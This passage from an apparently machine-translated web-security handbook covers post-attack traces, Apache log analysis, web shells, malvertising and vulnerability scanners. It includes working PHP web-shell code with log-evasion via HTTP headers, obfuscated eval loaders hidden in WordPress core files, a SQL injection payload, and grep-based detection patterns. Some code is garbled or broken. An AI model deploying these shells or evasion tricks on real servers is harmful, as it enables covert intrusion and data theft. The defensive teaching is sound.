reliability of a domain through blacklists or simple anti-phishing recognition algorithms
4. Watch out for those who write to you! If you receive an email, SMS or message from
people you don't know, search the web for their address or phone number. You will hardly
receive emails from legitimate email addresses (unless these have been hacked); in any
case, use due precautions when invited to the urgent "call-to-action".
5. Pay attention to the domain! We do not assume that the site itself
can get punctured but it is very, very difficult for this to happen. It is more likely that the fake
page is hosted on another site. Remember, the famous "green lock", to be reliable, must
contain the certificate holder. If you want to verify this, make sure that the SSL / TLS
certificate is the legitimate property of the provider of the web service. Creating a free
certificate is now much easier than in the past.
6. Use anti-malware programs, anti-virus and so on: some suites integrate

protected environments with virtual keyboards and control over hosts, IP and so on. If you are used
to downloading ill3 * coff * coff * g4le, don't be surprised if some malware rewrites your internal hosts
files with different IP addresses (and then steals your login details).
There are also free services aimed at fighting Phishing every day; among these we
recommend:
1. Contact the Hosting Provider: to find out who hosts the website you will need
make a Whois to the domain (chapter 4.1.1), then you will find the information of the
company that provides the web space, they will probably also provide an address such as
abuse@example.com .
2. Google Safe Browser: one of the most efficient tools in the fight against
Phishing. The infrastructure created by Google allows you to report fraudulent websites and
to obtain protection through the Chrome browser, Firefox, the Gmail web client and Android
devices automatically from the browser.
Info on
https://safebrowsing.google.com/safebrowsing/report_general/
3. APWG Antiphishing Unit: APWG fights against phishing every day a

world level. Thanks to a network of internal alliances, it collects and reports cyber abuse.
Reports can be made directly to reportphishing@apwg.org
4. Police: In Italy it is possible to report to the competent authorities the

fraudulent website from the portal of the PS Commissariat online
(www.commissariatodips.it). However, registration is required.
12. POST-ATTACK VIOLATIONS
The web app has been hacked, what are the risks involved? Where do cyber criminals go to
inject their malicious tools? How do they build them?
As we know the reasons that push a cyber-criminal are different (Chapter 1.3) and for each of
them there is a dynamic that follows; with this article we will try to understand which are the
sectors that are often involved following an attack and how to sanitize the threatened areas.
12.1 Traces of an Attack

Following an attack on a portal or web infrastructure, many traces are left by the
cyber-criminal. These can help sysadmins detect the identity of the attacker, as long as they
have not been manipulated or anonymity techniques have been used. 162 : it is important for a
system administrator to be able to read between the logs and the clues left on the server
following an attack in order to be able to effectively operate adequate security measures and,
possibly, collect the data for a possible legal proceeding.
In this chapter we will address some basic concepts of log analysis and provide solutions on
possible scenarios that can be addressed. The environment, as for the rest of the Volume, will
rely on an infrastructure of the Apache-PHP-MySQL type and the commands will be used on
the machine
victim .
12.1.1 Apache Log

Any HTTP request is collected inside a file, called log, which usually (in Debian based
environments) is inside the file:
/var/log/apache2/access.log
The logging process consists of a simple saving of HTTP requests within a file. Note that if
there are many requests, the logs will come
compressed. For example, let's run the command:
$ ls / var / log / apache2 /
access.log access.log.1 access.log.2.gz access.log.3.gz
...
Where is it:
- access.log: is the last log created and contains the latest Apache requests
- access.log.1: is the penultimate log created and contains HTTP requests older than the first
- access.log.2.gz, 3.gz etc ...: they are even older versions, compressed in gzip format to
avoid weighing on the disk
You can read the logs directly from Terminal (or using a text editor if the machine victim provides
a Display Manager) through the command:
$ cat /var/log/apache2/access.log
However, the terminal will fill up with a huge amount of logs. Is there anything that may interest us?
For example after launching the following SQL Injection:
http: // victim / vuln / vulnerabilities / sqli /?
id =% 27 + OR + 1% 3D1 + UNION + SELECT + user% 2Cpassword + FROM + users% 23 & Submit = Submit #
We might want to collect all logs that contain "UNION" in the query-string. To do this we can
append the grep command to the cat command:
$ cat /var/log/apache2/access.log | grep "UNION"
20.0.0.2 - - [16 / Aug / 2018: 16: 04: 49 +0200] "GET / vuln / vulnerabilities / sqli /?
id =% 27 + OR + 1% 3D1 + UNION + SELECT + user% 2Cpassword + FROM + users% 23 & Submit = Submit HTTP / 1.1 "200
2030" http: // victim / vuln / vulnerabilities / sqli / "" Mozilla / 5.0 (X11; Linux x86_64; rv: 52.0) Gecko / 20100101
Firefox / 52.0 "
From here we can see how the IP 20.0.0.2 (the machine attacker ) carried out the attack
against the web application, with user-agent "Mozilla / 5.0 etc ..." at 16:04:49 on August 16,
2018.
Clearly an attacker should delete this information, as long as he has the permissions (usually
root) to be able to modify the file: here we note how important it is to carry out the Privilege
Escalation and a correct
web server user management (in this case www-data, as is usual for Apache web servers).
If the attacker had the right to modify this file (with any editor, see nanoma also vim etc ...) he
could delete without too much delay the entry that declares its presence on the web server:
$ sudo nano /var/log/apache2/access.log

12.1.2 Automatic Log Analysis
As long as we are talking about a small web server with very few accesses, control is not
difficult; But what happens when we are full of logs?
On the net there are an infinite number of tools designed to help sysadmins analyze the Web
Server logs: we have chosen Scalp / Anathema 163 , fork of the homonymous log analyzer for
Apache that allows you to perform checks within Apache HTTP / GET requests.
Apache2 by default does not log the variables passed with the POST method: to obtain them it
is recommended to use the mod_security extension 164
or mod_dumpio 165 .
We unload into the machine victim the program 166 :

$ git clone https://github.com/nanopony/apache-scalp.git
$ cd apache-scalp
In the same folder we also download the "default-filter.xml" file which contains all the Regex to
be used when checking the logs:
$ wget
https://raw.githubusercontent.com/PHPIDS/PHPIDS/master/lib/IDS/default_filter.xml
Being written in Python 3, we will need both the interpreter in this version and Pip3 installed. If
not, we also run:
$ sudo apt install python3 python3-pip
Then we install the dependencies:

$ pip3 install -r requirements.txt
Finally we run the command:

$ python3 scalp / scalp.py -l /var/log/apache2/access.log -f default_filter.xml -o / var / www / html / scalp
Loading XML file 'default_filter.xml' ...
Processing the file '/var/log/apache2/access.log' ... Scalp results:
Processed 45 lines over 45
Found 2 attack patterns in 0.050066 s
Generating output in /var/www/html/scalp/access.log_scalp_*
By accessing from victim ( or from attacker , pointing to victim) to the internal folder we will be able to
read the Apache logs and any attacks found:
http: // localhost / scalp /
Inside we will find the generated logs, with any attacks tested [Figure 12.1].
Figure 12.1: Make some strange request to the victim machine, then try Scalp!
how many attacks can it find.
12.2 Web Shell
The web shell is a script used by cybercriminals with the intent of maintaining persistent
access to the already hacked machine; a web shell usually does not attack or exploit a
vulnerability but is rather a consequence of an attack.
The Web Shell is the natural consequence of a File Inclusion, Remote File Inclusion
vulnerability and also of SQL Injection attacks or violation of administration protocols (FTP,
SSH etc ...) that allow you to upload files to the web server : the functionalities of a web shell
are usually limited to executing commands from the server, navigating through folders, viewing
active processes, querying the database and much more.
12.2.1 Web Shell, what are they for

Web shells can be used for various attacking applications; let's see some common situations
that can be found in most cases.
Remote Access
The web shell usually contains a backdoor that allows a cybercriminal to connect remotely and
control the server at any time. This is one of the biggest advantages, as it allows you to gain
access to the machine without having to re-attack. Furthermore, it allows access to the infected
machine even after the vulnerability that was used is fixed.
Usually the web shell is protected from the cyber-criminal with a password or other
authentication system (such as a secret GET variable, a cookie or a specific IP address) to
prevent other criminals from "stealing" your work. The authentication is also useful to prevent
some search engines from saving the shell in the results and thus exposing it to attacks such
as Google Hacking (Chapter 4.6.2.2).
Privilege Escalation
If the victim server is not properly configured, the attacker will have a test environment that is
easy to manipulate and on which to test the available functions; among these, it could install
programs, change permissions, add and remove users, and access confidential server
information.
If conditions allow it, he will be able to carry out internal attacks on the machine, raising the
permissions of the user in use to root: in this way he will be able to obtain the maximum
permissions and manipulate the machine as he likes.
Attack Vector
Thanks to access, the cyber-criminal can use the hacked machine to carry out internal or
external attacks on the network; for example it could sniff the internal traffic of the network,
enumerate other hosts or websites available, any defense systems etc ... and then
compromise the entire infrastructure.
Similarly, the hacked web server can be used as a "tunnel" for attacks against third parties,
adding an additional layer of anonymity and exploiting the machine's computing resources to
carry out attacks.
Botnet
Among the common uses of a web shell we also find the functionality of botnet: through the
use of client-server communication systems (for example internal APIs) the web shell can in
turn be controlled by an additional C&C server 167 able to command attacks against third parties.
Among these, the most common are DDoS (Distributed Denial of Serivce) attacks which
consist in the exhaustion of network or computing resources against servers that offer network
services.
Attack: Web Shell programming

DEMO simulation
Many web shells are already available on the net 168 ( for my tests I honestly prefer Weevely 169 ) however
they are easily identifiable by defense systems. In this short chapter we will see some
examples of how to design a Web Shell from scratch using the PHP programming language
and the common techniques of evasion of control systems 170 .
Let's start by saying that a web shell is nothing more than a series of functions
PHP: Just like any other script, it depends on the syntax and semantics of this language, so
they follow the same rules.
Among the PHP functions we have system () which allows you to run server-side code and
print the output directly on our page. An example would be [Code 12.1]:
Code 12.1
<? php
system ( "ls" );
?>
root @ hacklog : / var / www / html # php shell.php
hacklog.html
index.backup.html
index.html
shell.php
...
The system function will execute the command inside the quotation marks (").
Likewise also the function exec () allows you to run server-side code; to this we must also
anticipate the function echo (), as exec () executes but does not print in output. For example
[Code 12.2]:
Code 12.2
<? php
echo exec ( "whoami" );
?>
root
Similarly it is possible to evoke functions such as: shell_exec (), passthru ()

is proc_open ().
There is also a curious PHP execution operator: the backtick 171 (̀, in Italian translatable with
grave accent). This operator, if specified within an output function (e.g. echo), allows PHP to
attempt to execute the content between the backticks as if it were a shell command, effectively
making the use of the function identical to what execute shell_exec ().
Let's see a code example [Code 12.3]:

Code 12.3
<? php
$ output = ` whoami `;
echo " $ output " ;
?>
root
Obviously a shell can be executed dynamically, for example passing results through a method
(in example we will use the GET) [Code
12.4] and then load them from the browser [Figure 12.2]:
Code 12.4
<? php
$ command = $ _GET [ 'cmd' ];
$ output = ` $ command `;
echo " $ output " ;
?>
Figure 12.2: example of a basic web shell with commands passed through the GET method
12.2.2 Web Shell Evasion Techniques

In this chapter we will not deal with the authentication of a web app, which should be applied
when designing a web shell: for this, we refer to chapter 12.2 on Authentication, especially on
that Web Form.
Attack: Web Shell Headers

DEMO simulation
Automatic protection systems (IDS) usually check suspicious values through the GET and
POST parameters, then block them before they run on the machine. Also, a sysadmin could go
and read the web server logs (in this case Apache) and find the web shell:
$ tail /var/log/apache2/access.log
20.0.0.2 - - [16 / Aug / 2018: 12: 07: 32 +0200] "GET /shell.php? Cmd = ls% 20-la HTTP / 1.1" 200 518 "-" "Mozilla / 5.0
(X11; Linux x86_64; rv: 52.0) Gecko / 20100101 Firefox / 52.0 "
In this case, the cyber-criminal could decide to pass the command using another route, for
example with lo User-Agent [ Figure 12.3] [Code
12.5]:
Code 12.5
<? php
$ command = $ _SERVER [ 'HTTP_USER_AGENT' ];
echo " $ output " ;
?>
Figure 12.3: The User-Agent is the vector from which we will pass the command to the web shell. In this
case a basic IDS would be bypassed.
All very nice, but let's review the Apache logs:
20.0.0.2 - - [16 / Aug / 2018: 12: 16: 43 +0200] "GET /shell.php HTTP / 1.1" 200 506 "-" "ls -la"
Also in this case the command is printed in the logs.
Among the various parameters that we can pass to the Web Server we also have
"Accept-Language": if we used it as a variable in our web shell would it be saved in the logs?
Let's find out! [Code 12.6] [Figure 12.4]
Code 12.6
<? php
$ command = $ _SERVER [ 'HTTP_ACCEPT_LANGUAGE' ];
echo " $ output " ;
?>
Figure 12.4: also in this case the command is launched and the basic IDS bypassed.
This time we are going to check the accesses: will there be traces of our command?
20.0.0.2 - - [16 / Aug / 2018: 12: 23: 18 +0200] "GET /shell.php HTTP / 1.1" 200 506 "-" "Mozilla / 5.0 (X11; Linux x86_64;
rv: 52.0)
Gecko / 20100101 Firefox / 52.0 "
Eureka! This time the Web Server did not save the command in the access logs, making it
much more difficult for the sysadmin to find the command used on the machine.
Now it's your turn: why don't you try to use other variables used by the web server and see which are
stored by the logs and which are not?
Attack: Web Shell Obfuscation
DEMO simulation
Among the techniques used by cyber-criminals to hide web shells we have obfuscation: since
PHP (or any interpreted server-side language) is an open code, anyone can read its contents.
In fact, only recently, compiled (or compiled-like) languages have approached the world of the
web thanks to various frameworks. Anyway, what methods are used to hide shells?
White spaces
If the web shell was included in a web app core file, there are several chances that the code
was hidden at the bottom of the file. Let's see an example of an infected Wordpress core file
[Code 12.7]:
Code 12.7
<? php
// ...
define ( 'WP_USE_THEMES' , true );
/ ** Loads the WordPress Environment and Template * /
require ( dirname ( __FILE__ ). '/wp-blog-header.php' );
// From here on there will be several spaces ([ENTER]) until you get to the infected piece of code
...
...
...
exec ( "ls -la" );
CCR (Encode, Compression, Replace)

Among the PHP functions we have the possibility to manipulate the strings in coded values:
this method is very effective against security systems that carry out checks with a white-box
approach (chapter 1.5.2.1).
Given the following function able to list the contents of the folder where the web shell is present
[Code 12.8]:
Code 12.8
<? php
system ( "ls -la" );
You can generate a variant, using the function eval (), a function capable of executing a string
as if it were PHP code [Code
12.9]:
Code 12.9
<? php
eval ("system ( 'ls -la' ) ");
This way a basic protection system will not be able to determine that system () is in effect a
function. The content of eval can also be encoded in Base64, then run in PHP [Code
12.10]:
Code 12.10
<? php
eval (base64_decode ( 'c3lzdGVtKCdscyAtbGEnKTsNCg ==' ));
The value c3lzdGVtKCdscyAtbGEnKTsNCg == will be system ('ls -la'); 172 In this case, a
protection system based on the digital signature of the malware will hardly be able to find it on
the web server. We can further complicate the life of detection by collapsing the function into gzip
[ Code
12.11]:
Code 12.11
<? php
eval (gzinflate (base64_decode ( 'K64sLknN1VDKKVbQzUlU0rQGAA ==' )));
Base64 encoding can be further combined with encoding ROT13

[Code 12.12]:
Code 12.12
<? php
eval (gzinflate (str_rot13 (base64_decode ( 'K64sLknN1VDKKVbQzUlU0rQGAA ==' ))));
Clearly it is possible to automate these functions by passing through called tools PHP
Obfuscator: on the net there are several tools designed for the occasion. 173174175176
Obfuscation in HEX
Among the most common obfuscation practices we find the manipulation of strings in HEX: with
HEX we refer to the hexadecimal numerical system 177 , a method that consists of counting up to
16 (instead of the base 10 we are used to). Thanks to the hex it is possible to generate
functions by encoding and decoding them, making them more difficult to find.
Taking for example the following PHP function [Code 12.13]:

Code 12.13
<? php
system ( 'cat / etc / passwd' );
It is possible to convert its value (ASCII) to HEX through any converter available on the
network 178 ( or through the function itself in PHP). The result will be:
73797374656d2827636174a02f6574632f70617373776427293b
Through a series of functions in PHP it is possible to cycle (for loop) every single character of
the HEX value (split function), convert the character to ASCII (chr (hexdec)), then execute it
(eval); everything will be saved inside the dcd function, to which it will be possible to send any
input of type HEX [Code
12.14]:
Code 12.14
<? php
// Function that accepts HEX
function dcd ( $ hex )
{
// Split the value, then loop each character
for ( $ i = 0 ; $ i < strlen ( $ hex ) - 1 ; $ i + = 2 ) {
// Convert the values from HEX to decimal, then to ASCII
$ string . = chr ( hexdec ( $ hex [ $ i ]. $ hex [ $ i + 1 ]));

}
// Run the function
eval ( $ string );
}
dcd ( '73797374656d2827636174202f6574632f70617373776427293b'
?>
https://github.com/Hacklogit/hacklog2/blob/master/examples/chapter13/hex-
shell.php
Defence: Web Shell

DEMO simulation
Here are some golden rules to prevent the web shell from being ineffective even in the event of an attack:
1) If you use a pre-packaged CMS, avoid using external plugins from official or cracked stores
(the latter are full of web shells)
2) Disable code execution in folders where upload is allowed, such as images, uploads,
avatars and so on
3) Unless needed, disable dangerous PHP functions,

eg: exec (), shell_exec (), passthru (), eval (), system (), show_source (), proc_open (),
pcntl_exec (), assert ()
4) It limits the permissions of the web server user, so even in case of violation the actions with the we
shell would be limited
If you believe that you have been the victim of an attack with the consequent presence of a web
shell, the sysadmin will have to carry out some checks explained below.
We will start at search the web server logs any references to common keywords or paths
that are usually of interest to cybercriminals:
$ cat /var/log/apache2/access.log | awk -F \ "'{print $ 1, $ 2}' | grep" / etc / passwd "
:: 1 - - [16 / Aug / 2018: 14: 29: 49 +0200] GET /shell.php? cmd = cat% 20 / etc / passwd HTTP /
1.1
In this case the machine will have found, in the logs, an access to the resource "shell.php" with
a GET request of type "cmd = cat / etc / passwd" inside.
Alternatively, a white-box approach can be used
on the entire web app, for example looking for all dangerous functions in
path in which you are located (in the example we will move to an assumed folder / var / www / html):
$ grep -RPn "

(passthru | exec | eval | shell_exec | assert | str_rot13 | system | phpinfo | base64_decode | chmod | mkdir | fopen | fclose | readfile)
* \ ("
...
html / shell.php: 20: exec ("ls -la");
...
You will find the command in our Github cheatsheets 179 .
If the command were launched in the test victim machine (DVWA) this would list all the pages
containing the functions considered dangerous here. Interesting, right?
As we also know, web shells are obfuscated to "escape" from IDS controls; encoded values
usually generate huge values,
much longer than any other normal PHP value. Eg:
HJ3HkqNQEkU / ZzqCBd4t8V4YAQI2E3jvPV8 / 1Gw6orsVFLyXefMcFUL5EXf / yqceii7e8n9JvOYE9t8sT8cs // cfWUXldLpKsQ2LCH7EcnuYdrqeqD
A control approach is therefore to verify that, within the files, there are higher values within a
certain limit (for example 200 characters). The command to use could therefore be:
$ awk 'length ($ 0)> 200' *
eval (gzinflate (base64_decode ('HJ3HkqNQEkU / ZzqCBd4t8V4YAQI2E3jvPV8 / 1Gw6orsVFLyXefMcFUL5EXf / yqceii7e8n9JvOYE9t8sT8cs // ...
A check on the last modified files, for example with the command:
$ find -name '* .php' -mtime -1 -ls
823225 4 -rw-r - r-- 1 root root 403 Aug 16

15:15 ./shell.php
By modifying 180 the value of mtime if necessary.
12.3 Remote Shell

As with the Web Shell, a Remote Shell can be described as a program that allows you to
remotely access a machine without having to hack it again. Unlike a Web Shell, however, the
connection does not depend on the HTTP protocol, which is always reachable, but on a direct
connection to it. Throughout this Volume we have seen some attacks that make use of the
Shell Remote via Meterpreter, more specifically the Bind Shell. It is therefore important to
consider that there are two types of Shell: Bind Shell is Reverse Shell.
Bind Shell
The Bind Shell is a type of shell where the attacker machine makes a connection to the victim
port; the latter listens for an incoming connection.
Reverse Shell
A Reverse Shell is a type of shell where the victim machine makes a connection to the
attacker's port; in this case the connection is inverted (reverse).
Choice between Bind and Reverse Shell

The choice of one Bind Shell and one Reverse Shell depends on the scenario in which you
are: for example, it is possible that the network of victims blocks incoming connections (in this
case, a Reverse Shell). Similarly one Bind Shell it can be suitable if the attacker has difficulty
opening the door of his network (maybe not his own ...).
The use of the Shell has been extensively addressed during the reading and will not be further explored
as it is useless for the purposes of an attack in a Web environment - a Web Shell will be preferred - and
more oriented to general attacks carried out on generic TCP / IP protocols.
12.4 Malvertising
A variant of the attack that can cause a Stored XSS (Chapter 8.1.1.1) consists in exploiting
vulnerabilities that allow the attacker to modify the server-side pages of the web app: a
modification of a server-side PHP file would allow the attacker to inject code in visitors'
browsers for their own personal report.
Following an attack, the cybercriminal can modify one or more files on the server: he could, for
example, inject a miner in Javascript and exploit the computing power of the site visitors to
monetize cryptocurrencies. The script will be generated by third party services and will mainly
consist of: HTML, Javascript and CSS.
The most probable attack is therefore Malvertising: the injected code may present itself as
mere advertising of various types (replacing the one already present or under new guises such
as pop-ups, pop-unders etc ...) or through the exploitation of the power of calculation as seen
above; we will deal with the latter topic, trying to understand how to analyze the presence of a
miner within the page through the impact it can have on the user's browser.
Client Code Injection, how to clean up the attack
Also in this case there is no precise standard but some advice to follow to identify the
vulnerability. First, if the attack is suspected, the analysis of the client-side output will be useful
(see Inspect Element, Chapter 2.7) and, once the extent of the damage is ascertained, the
source can be traced. The offending code is usually undermined within files always
included or uploaded from a CMS, for example:
-. htaccess or web server configuration file
- configuration file (config.php, wp-config.php, include.php etc ...)
- templating files (general HTML templates such as header, footer etc ...)
- core files (pages that manage vital nodes for the functioning of the web app such as core.php and
the like)
Client Code Injection, how to prevent the attack

In addition of course to all the security measures to be implemented, remember that it is
important to know how to correctly configure user permissions on files so that they can only be
executed but not modified by the web server user. A good architecture of permissions on the
web server will allow you to choose how best to manage security (for example, a user other
than the web server can modify the files by assigning them in chown).
12.4.1 Cryptocurrencies Injection

There are web platforms on the net that allow webmasters to install cryptocurrency miners on
their sites, exploiting the computing power of surfers: among these portals we mention JSE
Coin 181 and Coinhive 182 but there are many, many others.
While these scripts - usually in Javascript - they are considered legitimate, on the other hand
they can be injected into hacked websites and then undermine visitors: it would be enough to
visit some sites such as ThePirateBay 183 , The black corsair 184 or others who deal with material -
not quite legal - to realize the impact they have on the performance of our computer. In fact,
opening the resource monitor we notice a peak in the processes (here with Google Chrome)
once the site is started, a condition that does not occur, however, in other technically much
heavier sites [Figure 12.5].
Figure 12.5: The "Google Chrome Helper" process goes all out! What happened?
At present, no AdBlock type extension is able to block this script: rather, extensions such as
NoScript are able to block any Javascript, but impacting the user experience.
Analyzing the HTML code of the page we find the following source:
<script src = "https://coinhive.com/lib/coinhive.min.js" async = "" defer = ""> </script>
Through Coinhive documentation 185 we see that it is possible to evoke Coinhive's Javascript
functions and configure the miner using the client's resources as you prefer.
Attacks of this type are growing dramatically and abused official mining services are banned
from mitigation services (see Malwarebytes Anti-Malware Plus): the latter's response (see
Coinhive) is to warn users about their use. of their resources in the portal
(https://authedmine.com).
The world of cryptomining against unwitting users is now shifting to self-hosting: among these
we point out CoinIMP 186 , deepMiner 187 and related forks 188 developed from it.
12.5 Ghost Users

A violation of the SQL Injection type or which in any case allows the manipulation of the
Database could allow an attacker to carry out a Privilege Escalation towards the CMS: in
practice, the cyber-criminal could create a user in the Database with elevated privileges
(Administrator) and thus exploit the tools offered by the web app to cause greater damage.
This situation usually applies to sites that make use of CMS that allow user registration;
however, there is no attack standard (due to the different structure between the various CMSs)
so it will be necessary for both attacker and victim to have a thorough knowledge of the
database structure.
12.6 Deface
Among the consequences of common attacks by script-kiddies, hacktivist propaganda or
organized crime financed for unfair competition are the Defaces. The process consists in
modifying parts or the entire content of a web page (usually the initial one) by attaching
messages of various types with the aim of discrediting the reputation of the portal or more
simply for one's own personal gain.
A Deface is usually carried out by those who have no specific interests in attacking the
machine: following these, in fact, the web master will immediately run for cover trying to clean
up the attack from its systems and inevitably raising the defenses and precautions available for
avoid the recurrence of what happened.
Deface, how to clean up the attack
Usually a Deface consists in modifying the index file (.php or .html) or in a redirect present in
HTML, Javascript or through Rewrite in the Web Server configurations. It is also possible that
the Deface is transmitted through an attack on the DNS (chapter 4.2.3), therefore it is
advisable to carry out an analysis using the Interceptor Proxy (chapter 2.6) and analyze where
the web server will respond with the redirect.
12.7 Privilege Escalation

Basically a cyber attack, once it has granted access to the cyber-criminal, could allow the use
of the machine in
any way (as long as privileges have been obtained). However, it is likely that the cyber-criminal
managed to hack the machine but not get what he wanted (such as the root account); in this
case it could proceed with the attack but shifting the focus on the search for vulnerabilities in
the machine hosting the web server. His modus operandi will therefore be that of:
- Check which services and versions are active on the server
- Identify vulnerabilities and misconfiguration
- Exploit vulnerabilities to access new levels of permissions
When a cybercriminal manages, through a cyber breach, to obtain the elevated permissions of
a superior user, it is called Privilege Escalation.
The topic will not be treated as it refers to another topic (which we could call SYS, OS or
Software Hacking) and requires as much information and additional knowledge than what is
given in this document.
13. SCANNER AND FRAMEWORK
Returning to the topic at the beginning of the Volume on Vulnerability Assessment and
Pentesting (Chapter 1.5.1), let's proceed to see what are the tools used to carry out attack
simulations on functionality (Black-Box).
Most of those who begin to approach the world of Cyber Security, and especially Web
Security, are immediately fascinated by the amount of tools designed to scan against some
poor site. Our approach to this topic anticipates the study of vulnerability techniques, and the
subsequent exploitation of the latter, to clarify a burning truth: tools designed for Web Security
are harmful for the novice.
Let me be clear, I wanted to specify for the novice for a reason: doing something whose
potential is not known is simply useless. In fact, it is useless to launch a scanner that can tell
us which vulnerabilities are present on a site if we are not able to analyze them: maybe there is
a false positive 189 , maybe the program algorithm is not perfect - or not updated with the latest
discoveries - and it is not able to determine the existence of a vulnerability or at least the
danger.
It is essential to know these tools, provided that you already know what you are going to meet,
what results we can achieve and how to behave accordingly.
Stay away from Cracked Version!

As much as they may be tempted, the cracked versions of the various programs designed for
security are almost always: 1) dated 2) infected. There are free alternatives (often opensource)
and we will talk about them in this document, personally I would tell you: avoid them like the
plague!
This chapter cannot and does not want to be an exhaustive list of the software present in the
Web Security landscape. We will present only a small mirror of the tools that we are going to
use, if you want to have a more complete list we suggest you search on the net 190 .
13.1 Web Application Security Scanner
Web Application Security Scanners (WASS, or Vulnerability Scanners) are programs that
automatically carry out common security tests on applications through techniques already
seen: XSS, SQL Injection, Directory Traversal, Misconfigurations, Command Executions and
much more. Their operation consists in navigating within the web application between the
various links, then trying to manipulate the HTTP requests and, through an algorithm that
analyzes the HTTP responses, to catalog them according to the type of attack and the risk.
We assume that there is a large number of applications of this type, both commercial and
opensource, or in any case free. Their use has grown over time thanks to good automation
which in black-box testing can be really tiring: it is however important to know how to read
between the lines and not dwell on the first report that these tools provide; in fact, the
probability of encountering a false negative or a false positive, either due to an incorrect
reading of the algorithm or the presence of a honeypot (tool that "captures" the scanner and
deceives it that it has found a vulnerability) is generally high .
13.1.1 Vega Vulnerability Scanner

Vega Vulnerability Scanner is a free and opensource test platform for testing the security of
web apps. It is distributed by Subgraph (the same software house author of the Operating
System of the same name) and is written in Java, therefore available for any Operating System
(Windows, Mac OS, Linux).
Vega Vulnerability Scanner, short guide to use

The program comes with a handy graphical GUI; the first scan can be started from the
dedicated button (top left), then a simple to use wizard will start [Figure 12.6]. The program will
then generate the report from which we will be able to analyze all the probable vulnerabilities
found [Figure 12.7].
Figure 12.6: Fill in the URL to parse and enable the modules you need in the
next screen
Figure 12.7: the report will deliver the list of probable vulnerabilities present
13.1.2 Arachni Web Application Security Scanner Framework
Arachni is a Vulnerability Scanner with Framework functions written in Ruby that allows
pentesters to assess risks in web applications: it is opensource, so it can be downloaded for
free and its source code can be studied (and modified). It is distributed for the main Operating
Systems (Windows, Mac OS and Linux). It can be used both via the command line (CLI) and
via a Web interface (WebUI); it also provides APIs (REST and RPC) to expand it with other
software.
One of the peculiarities of this new Framework is the integrated browser environment that
allows you to render HTML5, Javascript, AJAX code and the manipulation of DOM elements;
beyond that, Arachni is perfect to be installed on a server and to allow other users to log in and
use the computing power of a high-performance machine to scan large
ladder. Finally, it integrates the possibility of carrying out multithreading tests and separating
activities through different sessions.
Arachni, short guide to use

The installation includes two interfaces: the first (CLI) we recommend to the expert user, who
will probably have no problem understanding how it works (refer to the handy README
attached).
It will therefore be possible to access the WebUI through the address http: // localhost: 9292
(or a different address if specified by the program), then it will be possible to access with the
following credentials:
Role Username Password
Administrator admin@admin.admin administrator
User user@user.user regular_user
To start a first scan, click on at the top Scans -> + New, then we fill in the attack form [Figure
12.8].
Figure 12.8: The Arachni report gives detailed information on the vulnerabilities present and on
how to fix them.
After a few seconds the report will start to be generated [Figure 12.9].
Figure 12.9: Arachni allows testing from a simple and intuitive web interface.
13.1.3 Nikto2
Nikto is an opensource web server scanner containing over 6700 vulnerabilities that you can test
on your own servers. Among the many functions that can be expected from a normal vulnerability
scanner it is able to:
- Perform simultaneous scans
- Find hidden subdomains
- Bypass the IDS (through a solution external

https://sourceforge.net/projects/whisker/)
- Interact with Metasploit
Nikto2, short guide to use

The program is presented in the form of a CLI command line interface and it is possible to invoke it
with the command:
$ nikto
- Nikto v2.1.6
-----------------------------------------------------------------
--------
+ Target IP: ************
+ Target Hostname: ************
+ Target Port: 80
+ Start Time: 2018-08-06 19:00:31 (GMT2)
-----------------------------------------------------------------
--------
+ Server: Apache
. . . . . . . . . . . . . . . . . . . HERE THE REPORT ...................
The program requires at least the host parameter to be set, so to launch it just type:
$ nikto -host example.com

A report of the attack will then follow. You can configure the program to your liking by
specifying new values that you can view with the command:
$ nikto -h
or
$ man nikto
13.2 Security Frameworks
As you already know, WASS are part of the Vulnerability Assessment: they give the tools to
check for the presence of vulnerabilities. What if we needed tools to support targeted
pentesting attacks?
In these situations it might be more convenient to use frameworks, development environments

in which you can find not only scanners but also other tools for creating payloads, interfaces to
other tools and so on. Framework are used to provide programming interfaces (API) with which
it is possible to communicate through other programs, perhaps written by the same pentester.
Also in this case there is a large number of both global and web-specific, commercial and
opensource applications: the use of a framework is generally carried out by an IT Security
expert (as opposed to WASS which can be used by practically anyone) who meticulously
knows about cyber attacks.
13.2.1 OpenVAS
OpenVAS is one of the best specialized frameworks on the web: it is the Nessus opensource fork which,
until a few years ago was a leader in its sector, which later became paid. The whole package integrates
[Figure 12.10]:
- OpenVAS Scanner, the engine that performs scans towards a specific target
- OpenVAS Manager, the logical software that organizes the various information
- OpenVAS CLI, the textual command line interface
- Greenbone Security Assistant, the web interface to manage the program

Figure 12.10: OpenVAS is built in a modular way, a great working environment for
who is looking for control
OpenVAS, short guide to use
OpenVAS appears to be already present in GNU / Linux distributions dedicated to Pentesting:
if it is not present, we recommend that you install it via external repositories. Once installed it
will be necessary to perform a first setup, so the command to run will be:
$ sudo openvas-setup
A pre-configuration will follow that will last a few minutes (in our test about half an hour, about
1GB of data will need to be downloaded!). Don't close the terminal window, you will be given
the admin password there! [Figure
12.10a].
If you have lost your password you can always reset it with the command:
$ sudo openvasmd --user = admin --new-password = new_password
Figure 12.10a: remember to save the administration password after setup!
OpenVAS should have already started, if not run the command:

$ sudo openvas-start
The program will now be started and we will be able to access the web interface available at
[Figure 12.11], where we will log in (the username will be admin, the password the previous
one):
https://127.0.0.1:9392/login/login.html
Figure 12.11: Greenbone Security Assistant login window, the convenient web interface
by OpenVAS
Scans are managed through the Tasks: from the top menu click on Scans -
> Tasks, then click on the fuchsia icon with the magic wand inside [Figure 12.12].
Figure 12.12: From here you can create your first scan with OpenVAS!
We will be returned to a pop-up in which to enter the IP address or hostname of the machine we
want to test: in our case we have entered the IP address of the machine victim ( 20.0.0.3) [Figure
12.13].
Figure 12.13: just an IP address and OpenVAS will start scanning all the vulnerabilities
Greenbone Security Assistant allows of handle more task

simultaneously: feel free to run several tests on machines (in your possession!) and check
which vulnerabilities have been found.
13.2.2 Galileo Web Application Audit Framework
Galileo is a new opensource framework designed for the pentester who wants to identify and test
vulnerabilities in a web application. The program is written in Python2 (therefore the interpreter
installed is required) and allows you to perform some useful operations such as:
- Work with URL, Base64, SHA1 and MD5
- Run shell commands
- Scan web applications
- Fingerprint the web app
- Test for vulnerabilities
The program is available exclusively via the command line (CLI) but is very simple to use.
Galileo, short guide to use

First you need to download Galileo:
$ git clone https://github.com/m4ll0k/Galileo.git galileo
$ cd galileo
The program foresees the presence of some requisites; we can install them through the
command (replace pip with "python2 -m pip" if your default distro has Python3 installed):
$ pip install -r requirements.txt
The program can be started via (replace "python" with "python2" if your distro has Python3
installed by default):
$ python galileo.py
